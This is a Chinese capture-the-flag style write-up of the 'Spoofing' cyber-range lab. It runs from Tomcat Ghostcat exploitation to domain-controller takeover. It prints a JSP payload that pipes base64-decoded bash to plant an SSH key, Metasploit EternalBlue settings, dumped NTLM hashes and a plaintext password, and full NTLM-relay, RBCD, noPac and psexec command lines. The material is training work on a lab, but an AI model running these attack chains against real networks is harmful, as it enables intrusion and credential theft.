春秋云镜-Spoofing

工作期间某天项目经理找到,需要给客户录一个靶场的WP要求写详细一些过程,项目经理说云镜难度还是可以的,所以丢了一个Spoofing。但尴尬的是,当时平没有很快完成任务,实在是姿势盲区了(本人太菜了。

web

拿到目标ip 47.92.146.61 nmap扫端口。

image-20230321112438358

我们首先访问8080 发现一个未授权的后台,但是基本没有任何功能

image-20230321112914447

dirsearch进行目录扫描

image-20230321113037730

存在一些目录

代码语言:javascript
复制
http://47.92.146.61:8080/docs/

访问可得知Tomcat 9.0.3 + ajp13

存在

https://github.com/00theway/Ghostcat-CNVD-2020-10487

代码语言:javascript
复制
python3 ajpShooter.py http://47.92.146.61:8080 8009 /WEB-INF/web.xml read

用此脚本读取/WEB-INF/web.xml 进行漏洞验证。

image-20230321114005814

利用成功。并且内容中的 url-pattern 路径我们可以挨个访问一下

image-20230321114155411
代码语言:javascript
复制
http://47.92.146.61:8080/UploadServlet
image-20230321114333685

发现一处上传点(dirsearch是没有直接扫到的,可以加入到自己的字典中)

注意这里由于靶机问题重启 靶机ip从 47.92.146.61 变为了 39.98.183.3

由于上面扫描我们发现开了22端口

首先本机生成一对公私钥,并如下构造 大致内容就是将公钥写到 /root/.ssh/authorized_keys下面

代码语言:javascript
复制
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCjE5yG8ayo88aGqr9oNOa4sfLHRL+gPW+BRQUJiiXymM9P1Pu46xc+ITjXndvFUm/LjKwcmlqSPI7EWIEFwWzxPfNeWpjqJSYb6KkYgf3n+zvvKmX+A6CDZZ4Kl0ABV+8dkYML/Jz5IQql8YdAgKCpHMoiV/bGwVTkCDRhuUXL1TW2m7pwXUw9RWM3i8G8WKnpMfQtsYXIo0Qatxx0Lxq3bpIEdkSKGTptGyCuvZCouUd5cpUpJJ4yrW8I0Jg9Zqqifsc2iRrwK6zcW7pHkLAkksEZC2DyM78iR5Fl4Z/PKiJHWYhThTFxByVsikp31q2gfATCx1vjmz6tm3AA/BPkrWtJ1xY9izsjlu46LdhTMD1U8BnJUhSuTUd2lAKjp9qKklp15wfdBbDk4SxWa6BNtwo6v1VDIfRkmPMhzU5ynm1OQsOLJKrRJHt0oJfrabD2e6UZ+DUSyA8Ha2E1FJiXbykqa6vV9THb6LltArhhFNikR42cqxUH1Q/qoM8bG00=" >> /root/.ssh/authorized_keys

chmod 600 /root/.ssh/authorized_keys

在进行base64加密

代码语言:javascript
复制
ZWNobyAic3NoLXJzYSBBQUFBQjNOemFDMXljMkVBQUFBREFRQUJBQUFCZ1FDakU1eUc4YXlvODhhR3FyOW9OT2E0c2ZMSFJMK2dQVytCUlFVSmlpWHltTTlQMVB1NDZ4YytJVGpYbmR2RlVtL0xqS3djbWxxU1BJN0VXSUVGd1d6eFBmTmVXcGpxSlNZYjZLa1lnZjNuK3p2dkttWCtBNkNEWlo0S2wwQUJWKzhka1lNTC9KejVJUXFsOFlkQWdLQ3BITW9pVi9iR3dWVGtDRFJodVVYTDFUVzJtN3B3WFV3OVJXTTNpOEc4V0tucE1mUXRzWVhJbzBRYXR4eDBMeHEzYnBJRWRrU0tHVHB0R3lDdXZaQ291VWQ1Y3BVcEpKNHlyVzhJMEpnOVpxcWlmc2MyaVJyd0s2emNXN3BIa0xBa2tzRVpDMkR5TTc4aVI1Rmw0Wi9QS2lKSFdZaFRoVEZ4QnlWc2lrcDMxcTJnZkFUQ3gxdmptejZ0bTNBQS9CUGtyV3RKMXhZOWl6c2psdTQ2TGRoVE1EMVU4Qm5KVWhTdVRVZDJsQUtqcDlxS2tscDE1d2ZkQmJEazRTeFdhNkJOdHdvNnYxVkRJZlJrbVBNaHpVNXlubTFPUXNPTEpLclJKSHQwb0pmcmFiRDJlNlVaK0RVU3lBOEhhMkUxRkppWGJ5a3FhNnZWOVRIYjZMbHRBcmhoRk5pa1I0MmNxeFVIMVEvcW9NOGJHMDA9IiA+PiAvcm9vdC8uc3NoL2F1dGhvcml6ZWRfa2V5cwoKY2htb2QgNjAwIC9yb290Ly5zc2gvYXV0aG9yaXplZF9rZXlzCg==

所以我们上传Spoofing.txt文件 内容为

代码语言:javascript
复制
<% java.io.InputStream in = Runtime.getRuntime().exec("bash -c {echo,ZWNobyAic3NoLXJzYSBBQUFBQjNOemFDMXljMkVBQUFBREFRQUJBQUFCZ1FDakU1eUc4YXlvODhhR3FyOW9OT2E0c2ZMSFJMK2dQVytCUlFVSmlpWHltTTlQMVB1NDZ4YytJVGpYbmR2RlVtL0xqS3djbWxxU1BJN0VXSUVGd1d6eFBmTmVXcGpxSlNZYjZLa1lnZjNuK3p2dkttWCtBNkNEWlo0S2wwQUJWKzhka1lNTC9KejVJUXFsOFlkQWdLQ3BITW9pVi9iR3dWVGtDRFJodVVYTDFUVzJtN3B3WFV3OVJXTTNpOEc4V0tucE1mUXRzWVhJbzBRYXR4eDBMeHEzYnBJRWRrU0tHVHB0R3lDdXZaQ291VWQ1Y3BVcEpKNHlyVzhJMEpnOVpxcWlmc2MyaVJyd0s2emNXN3BIa0xBa2tzRVpDMkR5TTc4aVI1Rmw0Wi9QS2lKSFdZaFRoVEZ4QnlWc2lrcDMxcTJnZkFUQ3gxdmptejZ0bTNBQS9CUGtyV3RKMXhZOWl6c2psdTQ2TGRoVE1EMVU4Qm5KVWhTdVRVZDJsQUtqcDlxS2tscDE1d2ZkQmJEazRTeFdhNkJOdHdvNnYxVkRJZlJrbVBNaHpVNXlubTFPUXNPTEpLclJKSHQwb0pmcmFiRDJlNlVaK0RVU3lBOEhhMkUxRkppWGJ5a3FhNnZWOVRIYjZMbHRBcmhoRk5pa1I0MmNxeFVIMVEvcW9NOGJHMDA9IiA+PiAvcm9vdC8uc3NoL2F1dGhvcml6ZWRfa2V5cwoKY2htb2QgNjAwIC9yb290Ly5zc2gvYXV0aG9yaXplZF9rZXlzCg==}|{base64,-d}|{bash,-i}").getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("<pre>"); while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print("</pre>");%>

目的是将Spoofing.txt文件代码执行,将我们的公钥写到靶机里面

image-20230321134722899

最终利用漏洞Ghostcat执行此文件

image-20230321135056044

执行成功公钥写入,直接登陆靶机服务器即可

image-20230321135252025

flag01

代码语言:javascript
复制
flag{41af3ec9-9043-42bc-9fb6-06d6a5aa5231}

ifconfig得到 当前Ubuntu ip 为 172.22.11.76

image-20230321135846173

Ubuntu 172.22.11.76

接下来我们重点看下内网,利用fscan扫一下看看

将fscan上传到靶机

代码语言:javascript
复制
scp -i id_rsa  /Users/sch0lar/Downloads/fscan_386 root@39.98.183.3:/

fscan扫C段

代码语言:javascript
复制
./fscan_386 -h 172.22.11.1/24

发现内网中其他三台主机 并且172.22.11.6为域控

172.22.11.6 DC XIAORANG\XIAORANG-DC

172.22.11.26 XIAORANG\XR-LCM3AE8B

172.22.11.45 XIAORANG\XR-DESKTOP

经fscan扫描发现 172.22.11.45 可能存在永恒之蓝漏洞。

机器出网我们进行反向代理

image-20230321150412301
image-20230321150427494
image-20230321150806373

内网成功访问,说明代理成功。msf 17010去打一下172.22.11.45 这台机器

msf设置代理

代码语言:javascript
复制
setg Proxies socks5:103.20.221.39:9999
代码语言:javascript
复制
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp
set RHOSTS 172.22.11.45
set lport 1433

注意这里默认的4444会话不能正常建立,经测试使用一些常见端口 1433 3306 80即可

image-20230321193941497

Dump hash

image-20230321194041752

本地凭据

代码语言:javascript
复制
Administrator:500:aad3b435b51404eeaad3b435b51404ee:48f6da83eb89a4da8a1cc963b855a799:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

msf中加载 kiwi load kiwi
creds_all获取域凭据

代码语言:javascript
复制
XR-DESKTOP$  XIAORANG  849af87004aedcb12d26d3646e4d1809  6cdc7983267c995623cf242b70869f295a22fccc
yangmei XIAORANG 25e42ef4cc0ab6a8ff9e3edbbda91841 6b2838f81b57faed5d860adaf9401b0edb269a6f 明文 xrihGHgoNZQ

通过有了 admin和admin hash 可直接psexec 登录

代码语言:javascript
复制
proxychains4 psexec.py Administrator@172.22.11.45 -hashes :48f6da83eb89a4da8a1cc963b855a799 -codec gbk
image-20230321195101178
image-20230321195125704

flag02

flag{b326254f-c786-4752-92ce-f511ed7e959d}

image-20230321235653838

把域用户 yangmei加入该机器的本地管理员

image-20230322002343660

确定域控ip为

image-20230327215515423

域渗透

域信息收集

代码语言:javascript
复制
proxychains4 -q bloodhound-python -u yangmei -p xrihGHgoNZQ -d xiaorang.lab --dns-tcp -ns 172.22.11.6 -c all --zip
image-20230327220502229

https://github.com/Porchetta-Industries/CrackMapExec

Petitpotam 扫描

代码语言:javascript
复制
proxychains4 cme smb 172.22.11.0/24 -u yangmei -p xrihGHgoNZQ -M petitpotam
image-20230328000242690
  • 无ADCS + Petitpotam + ntlm中继打法攻击链:用petitpotam触发存在漏洞且开启了webclient服务的目标,利用petitpotam触发目标访问我们的http中继服务,目标将会使用webclient携带ntlm认证访问我们的中继,并且将其认证中继到ldap,获取到机器账户的身份,以机器账户的身份修改其自身的 msDS-AllowedToActOnBehalfOfOtherIdentity 属性,允许我们的恶意机器账户模拟以及认证访问到目标机器 (RBCD)
  • 满足条件,目标机器需要开启webclient服务
  • WebClient扫描,确定只能拿下 172.22.11.26 (XR-LCM3AE8B)

https://github.com/Hackndo/WebclientServiceScanner

NTLM中继过程中需要使用HTTP协议来完成中继请求和响应,而Webclient服务包含了HTTP协议相关,所以开启 Webclient 服务可以为 NTLM 中继提供必要的功能支持

image-20230328003205695
  • 中继攻击前言:
    • 实战中的中继打法只需要停掉80占用服务,开启端口转发(portfwd,CS在后续版本中添加了rportfwd_local,直接转发到客户端本地)
    • 本次演示类似实战的打法,不选择把impacket丢到入口ubuntu上面这种操作
  • 中继攻击环境配置: 端口转发 + 代理我们目前需要把服务器的80,转发到客户端本地的80
  • 注意:由于SSH的反向端口转发监听的时候只会监听127.0.0.1,所以这时候需要点技巧如图所示,即使反向端口转发79端口指定监听全部 (-R *:79:127.0.0.1:80),端口79依旧绑定在了127.0.0.1(图中顺便把socks5代理也开了)
代码语言:javascript
复制
ssh -i id_rsa root@47.92.254.136 -D 0.0.0.0:1080 -R *:79:127.0.0.1:80

加多一条socat,让流量 0.0.0.0:80 转发到 127.0.0.1:79,再反向转发回客户端本地的80 ,变相使80监听在0.0.0.0

代码语言:javascript
复制
nohup socat TCP-LISTEN:80,fork,bind=0.0.0.0 TCP:localhost:79 &

简单说也就是当我们访问ubuntu的80端口会被转发到ubuntu的79端口,ubuntu的79端口会转发到我们本机的80端口

image-20230328110539445
  • 本地开启ntlmrelayx
  • 注意:
    • 前面提到,没有ldaps,所以不能使用addcomputer
    • 同时在使用proxychains后,ldap://后面只能接dc的ip
    • 利用前面拿下的XR-Desktop作为恶意机器账户设置RBCD
代码语言:javascript
复制
proxychains4 python3 ntlmrelayx.py -t ldap://172.22.11.6 --no-dump --no-da --no-acl --escalate-user 'xr-desktop$' --delegate-access
image-20230328112842576

使用Petitpotam触发 XR-LCM3AE8B 认证到172.22.11.76 (ubuntu)

代码语言:javascript
复制
proxychains4 python3 Petitpotam.py -u yangmei -p 'xrihGHgoNZQ' -d xiaorang.lab ubuntu@80/pwn.txt 172.22.11.26
image-20230328113855950

可以看到,已经完成RBCD攻击了,接下来就是直接申请XR-LCM3AE8B的银票了

申请XR-LCM3AE8B CIFS票据

代码语言:javascript
复制
proxychains4 python3 getST.py -spn cifs/XR-LCM3AE8B.xiaorang.lab -impersonate administrator -hashes :849af87004aedcb12d26d3646e4d1809 xiaorang.lab/XR-Desktop$ -dc-ip 172.22.11.6

这里的hash是前面通过172.22.11.45 mimikatz抓取到的

image-20230328115647181

构造银票了我们psexec连接

代码语言:javascript
复制
KRB5CCNAME=/Users/sch0lar/sec/impacket/examples/administrator.ccache proxychains4 python3 psexec.py xiaorang.lab/administrator@XR-LCM3AE8B.xiaorang.lab -k -no-pass -target-ip 172.22.11.26 -codec gbk

flag03

代码语言:javascript
复制
flag{7cd97e18-b25b-42f3-8006-f6d0fc2cbd42}

域渗透 – NoPAC

smbclient.py 传 mimikatz

代码语言:javascript
复制
KRB5CCNAME=/Users/sch0lar/sec/impacket/examples/administrator.ccache proxychains4 python3 smbclient.py xiaorang.lab/administrator@XR-LCM3AE8B.xiaorang.lab -k -no-pass -target-ip 172.22.11.26
image-20230328123450342
代码语言:javascript
复制
cd C:\Windows\Temp
.\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"
image-20230328123604507
代码语言:javascript
复制
zhanghui 1232126b24cdf8c9bd2f788a9d7c7ed1

nopac,只有zhanghui能成功,zhanghui在MA_Admin组,MA_Admin组对computer 能够创建对象,但是在bloodhound没看到

代码语言:javascript
复制
AdFind.exe -b "CN=Computers,DC=xiaorang,DC=lab" nTSecurityDescriptor -sddl+++

需要补这一张图

img

Bloodhound看不到,主要原因是没把CreateChild采集进json

回到nopac,加上 create-child 参数

代码语言:javascript
复制
proxychains4 python3 noPac.py xiaorang.lab/zhanghui -hashes :1232126b24cdf8c9bd2f788a9d7c7ed1 -use-ldap -create-child -dc-ip 172.22.11.6

使用nopac申请到的cifs票据登录进入DC,flag04在 C:\users\administrator\flag\flag04.txt

代码语言:javascript
复制
export KRB5CCNAME=/Users/sch0lar/sec/noPac/Administrator_xiaorang-dc.xiaorang.lab.ccache
proxychains4 psexec.py xiaorang.lab/administrator@xiaorang-dc.xiaorang.lab -k -no-pass -dc-ip 172.22.11.6 -target-ip 172.22.11.6 -codec gbk

flag04

代码语言:javascript
复制
flag{683570c8-a6dc-45c2-95aa-9e9b171ed400}